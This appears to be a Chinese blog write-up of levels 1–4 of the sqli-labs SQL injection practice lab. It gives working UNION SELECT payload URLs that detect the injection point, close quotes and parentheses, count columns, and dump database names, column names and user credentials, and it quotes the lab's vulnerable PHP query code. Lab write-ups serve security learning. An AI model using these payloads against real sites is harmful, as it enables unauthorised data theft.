sqli-labs-master(1~4关)

判断字符型和数字型方法:

数字型:

id  = 1’                返回不正常
id = 1 and  1 =1    正常返回
id = 1 and  1=2     不正常返回

字符型:

id  = 1' 异常
id = 1' and  '1' ='1 正常返回
id = 1' and  '1' ='2 不正常返回

Less-1:

http://sqli-labs-master/Less-1/?id=1'

发现报错.说明我们输入的’在是被执行的。

http://sqli-labs-master/Less-1/?id=1 and 1=1

 满足数字型第一个条件

http://sqli-labs-master/Less-1/?id=1 and 1=1

http://sqli-labs-master/Less-1/?id=1 and 1=2

仍然被执行,说明不是数字型,是字符型

http://sqli-labs-master/Less-1/?id=1'

使用单引号注入,发现后台数据需要进行闭合

把后面的进行注释再试试--+

使用order by 进行判断,当前表有多少字段

http://sqli-labs-master/Less-1/?id=1' order by 4--+

提示错误,说明字段少于表少于4列,在测试

http://sqli-labs-master/Less-1/?id=1' order by 3--+

 

正常返回,说明当前表是3个

那么我们在查看显位

http://sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

可以看到2,3成功的显示出来了

利用mysql的database()查看当前的数据库

http://sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

当前数据库是"security".'

继续查询数据库中的表

http://sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

 

http://sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

 

Less-2

http://sqli-labs-master/Less-1/?id=1'

 

?id=1 and 1=1

返回正常

?id=1 and 1=2

 返回不正常,所以是数字型判断

判断字段:?id=1 order by 4--+

错误,试试?id=1 order by 3--+ 

 成功

查看显位:

?id=-1 union select 1,2,3--+ #为什么是-1呢,因为1的话还是Dumb内容,而你输入的1,2,3不能显示出来,所以只能使前面的内容显示不出来,然后再输入

然后后面的就成了一样的

Less-3

http://sqli-labs-master/Less-3/?id=1%27

提示需要')进行闭合

http://sqli-labs-master/Less-3/?id=1')--+

 

 显示正常

当然输入1' and '1'='1 正常 1' and '1'='2不正常。所以是字符型

后面就是判断字段:

order by n+1  返回错误

order by n 返回正常

所以字段是n

然后就判断现位

') union select 1,2,3--+

 后面的和第一个正常操作就好

Less-4

http://sqli-labs-master/Less-4/?id=1'

 可能对’过滤了,然后试试其他符号,","),)

http://sqli-labs-master/Less-4/?id=1")--+

 对它进行闭合

$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 可以看到id是用()包着的,我们使用")--+就变成

$sql="SELECT * FROM users WHERE id=(1")--+) LIMIT 0,1";

--+后面的就被注释了,不能运行,这也是为什么他们为什么能运行。

后面一样:

判断字段:?id=1") order by 4--+ 返回不正常
?id=") order by 3--+ 返回正常

查看回响: ?id=-1") union select 1,2,3--+

 然后根据回响位置,输入

具体操作和第一关一样

总结:

数字型注入:

1 and 1=1 正常
1 and 1=2 不正常

字符串注入:

1' and '1'='1 正常
1' abd '1'='2 不正常
  • 查找注入点
  • 判断字符还是数字型
  • 如果是字符,找到闭合方式,’ " ') ")等
  • 判断查询列数,group by ,order by
  • 查询回显位置
  • 开始查询

提交方式:

GET型,数据以get型 方式注入提交到url后。

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值